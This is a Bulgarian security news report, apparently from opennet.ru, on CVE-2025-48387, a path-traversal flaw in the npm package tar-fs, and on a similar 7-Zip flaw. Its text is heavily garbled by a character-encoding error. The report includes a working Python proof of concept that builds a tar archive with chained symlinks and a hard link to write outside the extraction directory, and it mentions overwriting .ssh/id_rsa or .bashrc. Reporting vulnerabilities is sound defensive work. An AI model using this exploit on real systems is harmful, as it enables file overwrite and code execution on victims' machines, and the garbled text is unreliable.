Π NPM ΠΏΠ°ΠΊΠ΅ΡΠ° tar-fs Π±Π΅ ΠΎΡΠΊΡΠΈΡΠΎ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ (CVE-2025-48387), ΠΊΠΎΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° ΠΏΡΠΈ ΡΠ°Π·Π°ΡΡ ΠΈΠ²ΠΈΡΠ°Π½Π΅ Π½Π° ΡΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΎ ΠΎΡΠΎΡΠΌΠ΅Π½ tar Π°ΡΡ ΠΈΠ² Π΄Π° ΡΠ΅ Π·Π°ΠΏΠΈΡΠ°Ρ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Π² ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΈ ΡΠ°ΡΡΠΈ Π½Π° Π€Π‘, Π±Π΅Π· Π΄Π° Π΅ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΎ Π΄ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ°, Π² ΠΊΠΎΡΡΠΎ ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π° ΡΠ°Π·Π°ΡΡ ΠΈΠ²ΠΈΡΠ°Π½Π΅ΡΠΎ (Π² Π³ΡΠ°Π½ΠΈΡΠΈΡΠ΅ Π½Π° ΠΏΡΠ°Π²Π°ΡΠ° Π·Π° Π΄ΠΎΡΡΡΠΏ Π½Π° ΡΠ΅ΠΊΡΡΠΈΡ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»). Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° ΠΌΠΎΠΆΠ΅ ΡΡΡΠΎ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° ΠΏΡΠ΅Π·Π°ΠΏΠΈΡΠ²Π°Π½Π΅ Π½Π° ΡΡΡΠ΅ΡΡΠ²ΡΠ²Π°ΡΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Π·Π° ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΈΡΠ°Π½Π΅ Π½Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΡΠΎΠ±ΡΡΠ²Π΅Π½ ΠΊΠΎΠ΄ Π² ΡΠΈΡΡΠ΅ΠΌΠ°ΡΠ°, ΠΌΠΎΠ³Π°Ρ Π΄Π° Π±ΡΠ΄Π°Ρ ΠΏΡΠ΅Π·Π°ΠΏΠΈΡΠ°Π½ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ΡΠ΅ β.ssh/id_rsaβ ΠΈΠ»ΠΈ β.bashrcβ Π² Π΄ΠΎΠΌΠ°ΡΠ½Π°ΡΠ° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ.
ΠΠ° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π΅ ΠΏΡΠΈΡΠ²ΠΎΠ΅Π½ ΠΊΡΠΈΡΠΈΡΠ΅Π½ Π½ΠΈΠ²ΠΎ Π½Π° ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ, ΠΊΠ°ΡΠΎ ΡΠ΅ ΠΈΠΌΠ° ΠΏΡΠ΅Π΄Π²ΠΈΠ΄, ΡΠ΅ ΠΏΠ°ΠΊΠ΅ΡΡΡ tar-fs ΠΈΠΌΠ° 23 ΠΌΠΈΠ»ΠΈΠΎΠ½Π° ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½ΠΈΡ Π½Π° ΡΠ΅Π΄ΠΌΠΈΡΠ° ΠΈ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΊΠ°ΡΠΎ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ Π² 1155 ΠΏΡΠΎΠ΅ΠΊΡΠ°. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π΅ ΠΎΡΡΡΡΠ°Π½Π΅Π½Π° Π² Π²Π΅ΡΡΠΈΠΈΡΠ΅ 3.0.9, 2.1.3 ΠΈ 1.16.5, ΠΊΠΎΠΈΡΠΎ Π±ΡΡ Π° ΠΏΡΡΠ½Π°ΡΠΈ ΠΏΡΠ΅Π· ΠΌΠ°ΠΉ, Π½ΠΎ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡΡΠ° Π·Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π±Π΅ΡΠ΅ ΡΠ°Π·ΠΊΡΠΈΡΠ° Π΅Π΄Π²Π° ΡΠ»Π΅Π΄ ΠΏΠΎΡΡΠΈ 3 ΠΌΠ΅ΡΠ΅ΡΠ°.
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π΅ ΠΏΡΠΈΡΠΈΠ½Π΅Π½Π° ΠΎΡ Π½Π΅Π΄ΠΎΡΡΠ°ΡΡΡΠ½ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ Π½Π° Π½Π°Π»ΠΈΡΠ½ΠΈΡΠ΅ Π² Π°ΡΡ ΠΈΠ²Π° ΡΠΈΠΌΠ²ΠΎΠ»ΠΈΡΠ½ΠΈ ΠΈ ΡΠ²ΡΡΠ΄ΠΈ Π»ΠΈΠ½ΠΊΠΎΠ²Π΅ ΠΎΡΠ½ΠΎΡΠ½ΠΎ ΡΠ΅Ρ Π½ΠΈΡ ΠΈΠ·Ρ ΠΎΠ΄ ΠΈΠ·Π²ΡΠ½ ΡΠ΅Π»Π΅Π²Π°ΡΠ° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π·Π° ΡΠ°Π·Π°ΡΡ ΠΈΠ²ΠΈΡΠ°Π½Π΅. ΠΠ° Π·Π°ΠΎΠ±ΠΈΠΊΠ°Π»ΡΠ½Π΅ Π½Π° ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈΡΠ΅ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ Π΄Π²Π΅ ΡΠΈΠΌΠ²ΠΎΠ»ΠΈΡΠ½ΠΈ Π»ΠΈΠ½ΠΊΠΎΠ²Π΅: ΠΏΡΡΠ²ΠΈΡΡ ΡΠΊΠ°Π·Π²Π° Π½Π° ΠΊΠΎΡΠ΅Π½ΠΎΠ²Π°ΡΠ° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π½Π° ΡΠ°Π·Π°ΡΡ ΠΈΠ²ΠΈΡΠ°Π½Π΅ Π½Π° Π°ΡΡ ΠΈΠ²Π° (β.β), Π° Π²ΡΠΎΡΠΈΡΡ Π΅ ΡΡΠ·Π΄Π°Π΄Π΅Π½ ΠΎΡΠ½ΠΎΡΠ½ΠΎ ΠΏΡΡΠ²ΠΈΡ ΡΠΈΠΌΠ²ΠΎΠ»ΠΈΡΠ΅Π½ Π»ΠΈΠ½ΠΊ ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π² ΠΈΠΌΠ΅ΡΠΎ ΡΠΈ ΡΠΈΠΌΠ²ΠΎΠ»ΠΈΡΠ΅ β../β Π·Π° ΠΈΠ·Π»ΠΈΠ·Π°Π½Π΅ ΠΈΠ·Π²ΡΠ½ ΠΎΡΠ½ΠΎΠ²Π½Π°ΡΠ° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΏΡΡΠ²ΠΈΡΡ Π»ΠΈΠ½ΠΊ βnoop/noop/noopβ ΡΠΊΠ°Π·Π²Π° Π½Π° β.β, Π° Π²ΡΠΎΡΠΈΡΡ βnoop/noop/noop/../../../../β ΡΠ΅ ΡΠ°Π·ΠΊΡΠΈΠ²Π° ΠΊΠ°ΡΠΎ β./../../../../β. ΠΠ° ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΈΡΠ°Π½Π΅ Π½Π° ΠΏΡΠ΅Π·Π°ΠΏΠΈΡΠ²Π°Π½Π΅ Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Π² Π°ΡΡ ΠΈΠ²Π° ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ ΡΡΠ·Π΄Π°Π΄Π΅Π½ ΡΠ²ΡΡΠ΄ Π»ΠΈΠ½ΠΊ, ΠΊΠΎΠΉΡΠΎ ΡΠΎΡΠΈ ΠΊΡΠΌ Π²ΡΠ½ΡΠ΅Π½ ΡΠ°ΠΉΠ» ΠΎΡΠ½ΠΎΡΠ½ΠΎ Π²ΡΠΎΡΠΈΡ ΡΠΈΠΌΠ²ΠΎΠ»ΠΈΡΠ΅Π½ Π»ΠΈΠ½ΠΊ. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
ΠΠΎΠ΄ΠΎΠ±Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ (CVE-2025-55188) Π΅ ΡΡΡΠ°Π½ΠΎΠ²Π΅Π½Π° Π² Π°ΡΡ
ΠΈΠ²Π°ΡΠΎΡΠ° 7-Zip. ΠΠ° Π·Π°ΠΏΠΈΡ Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΠΈΠ·Π²ΡΠ½ ΠΎΡΠ½ΠΎΠ²Π½Π°ΡΠ° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π² 7-Zip ΠΌΠΎΠ³Π°Ρ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ ΡΠΈΠΌΠ²ΠΎΠ»ΠΈΡΠ½ΠΈ Π»ΠΈΠ½ΠΊΠΎΠ²Π΅, ΡΡΠ΄ΡΡΠΆΠ°ΡΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Π½ΠΎΡΡ β..\/β Π² ΡΠ°ΠΉΠ»ΠΎΠ²ΠΈΡ ΠΏΡΡ. ΠΡΠΎΠ±Π»Π΅ΠΌΡΡ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ Π΅ΠΊΡΠΏΠ»ΠΎΠ°ΡΠΈΡΠ°Π½ ΠΏΡΠΈ ΡΠ°Π·Π°ΡΡ
ΠΈΠ²ΠΈΡΠ°Π½Π΅ ΡΡΠ΅Π· 7-Zip Π½Π° Π²ΡΡΠΊΠ°ΠΊΠ²ΠΈ Π°ΡΡ
ΠΈΠ²ΠΈ, ΠΊΠΎΠΈΡΠΎ ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ°Ρ ΡΠΈΠΌΠ²ΠΎΠ»ΠΈΡΠ½ΠΈ Π»ΠΈΠ½ΠΊΠΎΠ²Π΅, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ zip, tar, 7z ΠΈ rar. ΠΡΠΎΠ±Π»Π΅ΠΌΡΡ Π΅ ΠΎΡΡΡΡΠ°Π½Π΅Π½ Π² Π²Π΅ΡΡΠΈΡ 7-Zip 25.01.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: opennet.ru
